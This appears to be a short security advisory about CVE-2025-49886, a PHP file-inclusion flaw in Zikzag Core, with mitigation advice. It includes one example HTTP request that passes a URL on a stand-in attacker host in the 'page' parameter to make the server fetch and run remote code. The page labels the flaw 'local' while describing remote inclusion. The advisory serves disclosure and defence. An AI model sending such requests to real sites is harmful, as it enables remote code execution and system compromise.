How the Exploit Works
CVE-2025-49886 is a PHP Local File Inclusion (LFI) vulnerability that stems from improper control of filename for Include/Require statement in the PHP program. An attacker can leverage this flaw to include files from external servers, leading to the execution of malicious scripts. The flaw grants the attacker the potential to execute any PHP code of their choice on the vulnerable system, leading to system compromise and possible data leakage.
Conceptual Example Code
The following conceptual example demonstrates how an attacker might exploit this vulnerability:
GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.comIn this example, the attacker injects a link to a malicious PHP script (`http://malicious.example.com/malicious_script.txt`) in the `page` parameter. The server processes the request and includes the malicious script from the external server, leading to the execution of the malicious code.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor-provided patch for Zikzag Core as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also recommended to disable the inclusion of remote files in the PHP configuration by setting `allow_url_include` to `Off`.
